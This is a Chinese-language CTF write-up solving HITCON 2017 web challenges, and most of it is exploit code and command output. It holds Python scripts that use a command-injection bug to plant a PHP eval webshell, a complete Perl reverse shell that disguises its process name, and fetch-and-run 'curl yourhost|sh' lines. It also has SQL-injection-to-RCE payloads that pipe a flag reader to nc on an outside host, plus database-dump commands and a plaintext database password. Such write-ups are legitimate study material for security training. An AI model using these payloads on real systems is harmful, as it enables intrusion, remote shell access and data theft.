Hitcon2017
BabyFirst Revenge
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
构造这样的sh脚本,
curl xxx.xxx>1
这样就能从外部下载一个1文件,而1中内容可由我们可控。另外,为了保证cmd长度小于5,我们可以这样构造,每个请求生成一个文件,然后利用ls把文件名拼接写入文件。
思路参考:http://wonderkun.cc/index.html/?p=524(通过>xx
,新建文件。ls >m\
将文件名以字典序写到一个文件中。sh m*
来执行文件。)
a文件内容可以如下:
cur\
l\ \
m\
na\
nb\
nc\
xx.\
xy.\
z\>1
这样sh m*后,会新建一个1文件。1文件内容是我们可控域名下的index.html.那么,我们只需要将index.html写成这样,就能在当前目录下构造一个一句话木马。(7d8fc845c741ce6a72fa592b394cf9f3是依据源码算出的哈希)
echo "<?php eval(\$_REQUEST['XXXX']);?>" > /www/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2.php
这样,我们就能在http://52.199.204.34/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2.php
得到一个一句话木马。
Payload如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
def GetShell():
url = "http://52.199.204.34/?cmd="
requests.get("http://52.199.204.34/?reset=1")
fileNames = ["cur\\", "l\\ \\", "na\\", "nb\\", "nc\\","xx.\\","xy\\","z\\>1"]
for fileName in fileNames:
createFileUrl = url + ">" + fileName
print createFileUrl
requests.get(createFileUrl)
getShellUrl=url+"ls>m\\"
print getShellUrl
requests.get(getShellUrl)
getShellUrl = url + "sh m*"
print getShellUrl
requests.get(getShellUrl)
getShellUrl = url + "sh 1"
print getShellUrl
requests.get(getShellUrl)
response=requests.get("http://52.199.204.34/sandbox/7d8fc845c741ce6a72fa592b394cf9f3/2")
print response.content
if __name__ == "__main__":
GetShell()
然后,利用蚁剑连接,可以在home目录找到flag在数据库中。
再连接数据库,获取数据即可。
mysql -ufl4444g -pSugZXUtgeJ52_Bvr -e 'use fl4gdb;select * from this_is_the
_fl4g;'
其他解法
这里总结一下,我们的解法是通过构造一个符合字典序的curl xxx.xx>1
来从外部下载一个文件,并sh执行它。这里的域名需要特殊构造,使其符合字典序。
而Orange的思路用到了一个追加的方式,即>>指令。在http://wonderkun.cc/index.html/?p=524这篇文章中,讲到利用ls -t>a
来防止指令乱序的问题。但当长度为5个字节时,ls -t>a
指令就无法输入了。而且若分为多个文件指令拼接的时候,我们每次只能输入3个字符。(因为>和\需要占去两个字符,另外若要输入一些特殊符号,还会额外占用一个转义符号。)此时,单纯利用>是无法解决字典序问题的,因为空格和->的ascii码太靠前了。但是,如果使用追加功能的话是可以完成的,我们可以先写入ls,再追加 -t>a
。
这里还有一个特性,就是bash会忽略执行过程中遇到的一行错误。
具体如下:
http://10.211.55.17/?cmd=>ls\
http://10.211.55.17/?cmd=ls>_
此时,_文件内容为
➜ 1924cf16182a5279a02c5ffb573daaa4 cat _
_
ls\
再访问
http://10.211.55.17/?cmd=>\ \
http://10.211.55.17/?cmd=>-t\
http://10.211.55.17/?cmd=>\>g
http://10.211.55.17/?cmd=ls>>_(追加文件)
此时,_文件内容
➜ 1924cf16182a5279a02c5ffb573daaa4 ls
\ _ >g ls\ -t\
➜ 1924cf16182a5279a02c5ffb573daaa4 cat _
_
ls\
\
-t\
>g
_
ls\
如果,我们执行_,可以发现ls -t>g指令会执行,虽然第1、6行会报错。
➜ 1924cf16182a5279a02c5ffb573daaa4 sh _
_: 1: _: _: not found
_: 6: _: _: not found
\ _ g >g ls\ -t\
g文件内容以生成时间逆序写入
➜ 1924cf16182a5279a02c5ffb573daaa4 cat g
g
_
>g
-t\
\
ls\
就是通过如上所示的方式,我们可以执行ls -t>g
指令。那么,当我们能执行这个指令以后,就和7字节的命令执行限制条件完全相同了。(只要先在_中写入如上所示数据,然后再逆序传入我们要执行的指令,然后执行sh _.这样就把指令写入g文件中,再执行g即可。)
Chybeta的思路和Orange的思路几乎相同,也是曲线救国先写一个ls -t>g
指令,再执行。不过,他的十进制技巧和通过rm%20i* sh%20a sh%20i*
还是可以学习的。
至于王一航的第一个思路其实也是一样,先写一个ls -t >g
指令到文件,然后逆序写入一个base编码后的指令,再通过执行ls -t >g
将base64写到一个文件,再执行这个文件,将写一句话指令写入文件c,最后执行c,写入一个webshell。
➜ 1924cf16182a5279a02c5ffb573daaa4 cat c
echo '<?php eval($_REQUEST[c]);?>'>c.php%
而他的思路二和我们的思路一样,不再赘述。不过,mysqldump的tip值的记录一下。
mysqldump --single-transaction -u user -p DBNAME > backup.sql
infosec的思路非常神奇,值的学习。
curl 'http://52.199.204.34/?cmd=>find'
curl 'http://52.199.204.34/?cmd=*%20/>x'
他通过*,成功拼接指令,将find />x
成功执行。把所有信息写入x,然后网页端访问一下,就能获得所有硬盘上数据信息。
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>zcf'
curl 'http://52.199.204.34/?cmd=>zzz'
curl 'http://52.199.204.34/?cmd=*%20/h*'
再通过这个指令,将home目录下的数据压缩包保存下来。
cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
EOF
curl 'http://52.199.204.34/?reset=1'
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>vcf'
curl 'http://52.199.204.34/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A'
curl 'http://52.199.204.34/?cmd=php%20z'
先将一个文件上传到临时文件区,再将其压缩到z,最后再解压出来。这样,我们就能在网页端访问这个页面,获得最终的FLAG。
BabyFirst Revenge v2
Orange的题解:https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/babyfirst-revenge-v2/exploit.py
这里主要利用的*能执行指令的技巧,逆序写入一个ls -t>g
指令。
http://10.211.55.17/?cmd=>dir
http://10.211.55.17/?cmd=>sl
http://10.211.55.17/?cmd=>g\>
http://10.211.55.17/?cmd=>ht-
➜ 1924cf16182a5279a02c5ffb573daaa4 ls
dir g> ht- sl
➜ 1924cf16182a5279a02c5ffb573daaa4 *
g> ht- sl
➜ 1924cf16182a5279a02c5ffb573daaa4 *>v
➜ 1924cf16182a5279a02c5ffb573daaa4 cat v
g> ht- sl
➜ 1924cf16182a5279a02c5ffb573daaa4
利用*,取到dir指令,然后dir指令返回g> ht- sl
,最后写入到v中。
http://10.211.55.17/?cmd=>dir
http://10.211.55.17/?cmd=>sl
http://10.211.55.17/?cmd=>g\>
http://10.211.55.17/?cmd=>ht-
http://10.211.55.17/?cmd=*>v
http://10.211.55.17/?cmd=>rev
http://10.211.55.17/?cmd=*v>x
➜ 1924cf16182a5279a02c5ffb573daaa4 cat x
ls -th >g
➜ 1924cf16182a5279a02c5ffb573daaa4
通过rev指令将指令逆序写入x。这样就获得了ls -th >g
后面就简单了,不再赘述。具体可以看Orange的官方WP。(*v,先取到rev,再取到v,即将v反向。)
##
SSRFme
源码:
<?php
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
可以读取etc/passwd
import requests
url = 'http://13.115.136.15/'
exp = '/etc/passwd'
payload = "?url={0}&filename=data"
see = 'sandbox/7d8fc845c741ce6a72fa592b394cf9f3/data'
req = requests.Session()
r = req.get(url+payload.format(exp))
# print r.content
r = req.get(url+see)
print r.content
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
但是,没什么信息。读取一下根目录信息:
./
../
bin/
boot/
dev/
etc/
flag
home/
initrd.img
initrd.img.old
lib/
lib64/
lost+found/
media/
mnt/
opt/
proc/
readflag
root/
run/
sbin/
snap/
srv/
sys/
tmp/
usr/
var/
vmlinuz
vmlinuz.old
www/
发现根目录,存在readflag和flag。但是,flag文件,www-data用户无法读取flag
读取一下readflag二进制文件,拉进IDA pro,f5后,源码如下所示:
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // ST08_8@1
int result; // eax@1
__int64 v5; // rsi@1
char ptr; // [sp+10h] [bp-410h]@1
__int64 v7; // [sp+418h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
memset(&ptr, 0, 0x400uLL);
stream = fopen("/flag", "r");
fread(&ptr, 1uLL, 0x400uLL, stream);
fclose(stream);
puts(&ptr);
result = 0;
v5 = *MK_FP(__FS__, 40LL) ^ v7;
return result;
}
那么,现在的思路就很明确了,就是通过某种方式执行readflag来读取flag。
然后,读取了arp和tcp、udp情况,发现内网没有啥可用的信息,也没有一些常见的SSRF可攻击的服务,陷入瓶颈。
可以读取/usr/bin/GET文件,发现是一个perl脚本,怀疑perl脚本存在漏洞,可导致任意命令执行。
比赛时就卡在了这,没做出来。赛后,看了Orange的题解,思路是对的。
Idea
- CVE-2016-1238 (But the latest version of Ubuntu 17.04 in AWS is still vulnerable)
- Perl lookup current directory in module importing
- Perl module URI/lib/URI.pm#L136 will
eval
if there is a unknown scheme
题目的考点就是CVE-2016-1238.在URI/lib/URi.pm 136行,有一个eval "require $ic";
语句,当解析遇到一个未定义的协议时,会require这个未知协议。而require的时候,perl脚本会自动搜索当下目录和perl库目录来导入以.pm结尾的模块。
漏洞代码如下:
$ic = "URI::$scheme"; # default location
# turn scheme into a valid perl identifier by a simple transformation...
$ic =~ s/\+/_P/g;
$ic =~ s/\./_O/g;
$ic =~ s/\-/_/g;
no strict 'refs';
# check we actually have one for the scheme:
unless (@{"${ic}::ISA"}) {
if (not exists $require_attempted{$ic}) {
# Try to load it
my $_old_error = $@;
eval "require $ic";
die $@ if $@ && $@ !~ /Can\'t locate.*in \@INC/;
$@ = $_old_error;
}
return undef unless @{"${ic}::ISA"};
}
所以,我们先找一个perl的后门:
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';
my $port = 1234;
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
# Change the process name to be less conspicious
$0 = "[httpd]";
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
cgiexit(0);
}
# Background and dissociate from parent process if required
if ($daemon) {
my $pid = fork();
if ($pid) {
cgiexit(0); # parent exits
}
setsid();
chdir('/');
umask(0);
}
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
cgiprint("Sent reverse shell to $ip:$port");
cgiprintpage();
} else {
cgiprint("Couldn't open reverse shell to $ip:$port: $!");
cgiexit();
}
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
# Wrapper around print
sub cgiprint {
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Wrapper around exit
sub cgiexit {
cgiprintpage();
exit 0; # 0 to ensure we don't give a 500 response.
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
然后,将其部署到服务器上(反弹ip改为我们服务器的ip)。
http://10.211.55.17/index.php?filename=URI/moxiaoxi.pm&url=http://xx.xx.xx.x/backdoor.txt
└── sandbox
└── 1924cf16182a5279a02c5ffb573daaa4
└── URI
└── moxiaoxi.pm
这样就在网站上新建了一个URI目录,目录下有moxiaoxi.pm文件,文件内容为我们的backdoor。
在服务器上监听端口,再访问10.211.55.17/index.php?filename=xxx&url=moxiaoxi://mo-xiaoxi.github.io
就能获得一个反弹shell。这里访问moxiaoxi://mo-xiaoxi.github.io
时,moxiaoxi是未定义模块,所以会自动搜索并加载URI中的moxiaoxi.pm 模块。
➜ html nc -w 1 -k -lvv 1235
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::1235
Ncat: Listening on 0.0.0.0:1235
Ncat: Connection from 13.115.136.15.
Ncat: Connection from 13.115.136.15:39746.
03:10:35 up 2 days, 9:35, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Linux ip-172-31-28-110 4.4.0-1039-aws #48-Ubuntu SMP Wed Oct 11 15:15:01 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
$ ./readflag
hitcon{Perl_<3_y0u}
其他解法
参考ricterz的博客,其知识点是,另外一个命令注入,是perl的feature,在open下可以执行命令。
➜ test cat test.pl
open(FD, "whoami|");
print <FD>;
➜ test perl test.pl
moxiaoxi
➜ test
在open下,如果perl的第二个参数(path)可控,我们就能进行任意代码执行。
而GET对协议处理部分调用的是 /usr/share/perl5/LWP/Protocol
下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。
源码如下:
...
# URL OK, look at file
my $path = $url->file;
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
...
这里多了一个限制条件,就是file.pm会先判断文件是否存在。若存在,才会触发最终的代码执行。
➜ test GET 'file:id|'
➜ test touch 'id|'
➜ test GET 'file:id|'
uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
那么,最终的payload就很简单了。
1. 新建一个bash%20-c%20/readflag|文件
http://13.115.136.15/?url=xxx&filename=|/readflag
2. open文件,并触发命令执行,执行readflag,并将数据写入flag
http://13.115.136.15/?url=file:|/readflag&filename=flag
3. 访问sandbox下的flag,获得flag
http://13.115.136.15/sandbox/5d4ef0aebfb2070eb64c89b752d7ce89/flag
当然,既然可以命令执行,你也可以下载一个脚本,然后sh执行,如@Paul Axe写的WP:
curl 'http://13.115.136.15/?url=a&filename=|curl+yourhost|sh';curl 'http://13.115.136.15/?url=file:|curl+yourhost|sh' #HITCON SSRFme writeup
参考:
- https://github.com/orangetw/My-CTF-Web-Challenges/tree/master
- https://twitter.com/Paul_Axe/status/927669724439293953
- https://ricterz.me/posts/HITCON%202017%20SSRFme
- https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/ssrfme.md
SQL so Hard
#!/usr/bin/node
/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/
const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");
const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});
const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();
const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]
function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}
const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})
app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}
var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}
if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}
return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}
});
});
});
app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;
}
return res.end(html);
});
});
app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}
password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});
app.listen(31337, () => {
console.log("Listen OK");
});
这个题实验室的@wdeil写了一个非常详细的分析,我就不再多写了。后面如果能够征得他的同意,再xxxx.
法一:
大题思路是这样:
这个题目实现了一个WAF,它的实现过程中会有一个Mysql插入和取出的操作。
它先对我们请求包中的 querystring 和 body 内容进行过滤,如果发现关键字,则将该键传⼊入的值赋给 payload ,然后检查 payload 的⻓长度,如果大于0,则将 payload 和对应的 ip 插⼊入MySQL 数据库,然后再⽤回调函数检查 MySQL 数据库中你的 ip 是否存在被拦截的 payload ,如果有,这将这个请求结束,否则继续进行下⼀一步。
而MySQL 对于每次连接有最⼤包长度的限制,通过 max_allowed_packet 的配置来实现。所以,我们可以insert一个长度特别大的数据,这样insert语句就会被截断。最终,数据库中就不会有恶意payload信息,就绕过了waf。
后面就是一个前段时间Nodejs第三方库pg出得RCE,可以@Phithon博客上的node.js + postgres 从注入到Getshell文章。
最终payload:
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc orange.tw 12345`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://13.113.21.59:31337/reg', data=data);
print r.content
法二:
主要思路是通过 Postgre 的查询语法的特性绕过 WAF 的过滤。
https://www.postgresql.org/docs/9.6/static/sql-syntax-lexical.html
A variant of quoted identifiers allows including escaped Unicode characters identified by their code points. This variant starts with U& (upper or lower case U followed by ampersand) immediately before the opening double quote, without any spaces in between, for example U&”foo”. (Note that this creates an ambiguity with the operator &. Use spaces around the operator to avoid this problem.) Inside the quotes, Unicode characters can be specified in escaped form by writing a backslash followed by the four- digit hexadecimal code point number or alternatively a backslash followed by a plus sign followed by a six-digit hexadecimal code point number.
If a different escape character than backslash is desired, it can be specified using the UESCAPE clause after the string
- Postgres ⽀持将16进制的值转为 Unicode 字符;
- 在将 16 进制的值转为 Unicode 字符的时候⽀支持自定义转义符,即可以将默认的 \ 换成其他字符。
select 'test' as U&"\0031\0032";//test
select 'test' as U&"!0031!0032" uescape '!';//test
这样就可以将关键字使用16进制转Unicode的方式来绕过,然后使用\t
来代替空格。
from random import randint
import requests
payload = """','')returning(1)as\tU&"!005c'!002f!002a"uescape'!',(2)as\tU&"!005c'!002a!002f-(a=`child_process`)!002f!002a"uescape'!',(3)as\tU&"!005c'!002a!002f-(b=`!002freadflag|nc!0020vg.wdeil.xyz!002065502`)!002f!002a"uescape'!',(4)as\tU&"!005c'!002a!002f-console.log(process.mainModule.require(a).exec(b))]=1!002f!002f"uescape'!'; """
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://13.113.21.59:31337/reg', data=data);
print r.content
参考:
- https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/sql-so-hard/exploit.py
- https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/sql-so-hard.md
- wdeil的解析
PHP^H Master PHP in 2017
源码:
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);
一开始以为是可以哈希扩展,伪造一个序列化数据来反序列化得到admin类。但是,这里hmac中,$SECRET在后面,所以无法哈希扩展。
解答:
Idea
- PHP do the de-serialization on
PHAR
parsing- PHP assigned a predictable function name
\x00lambda_%d
to an anonymous function- Break shared VARIABLE state in Apache Pre-fork mode
后续补充,最近实在太忙。:(
参考:
-
https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609
-
https://rdot.org/forum/showthread.php?t=4379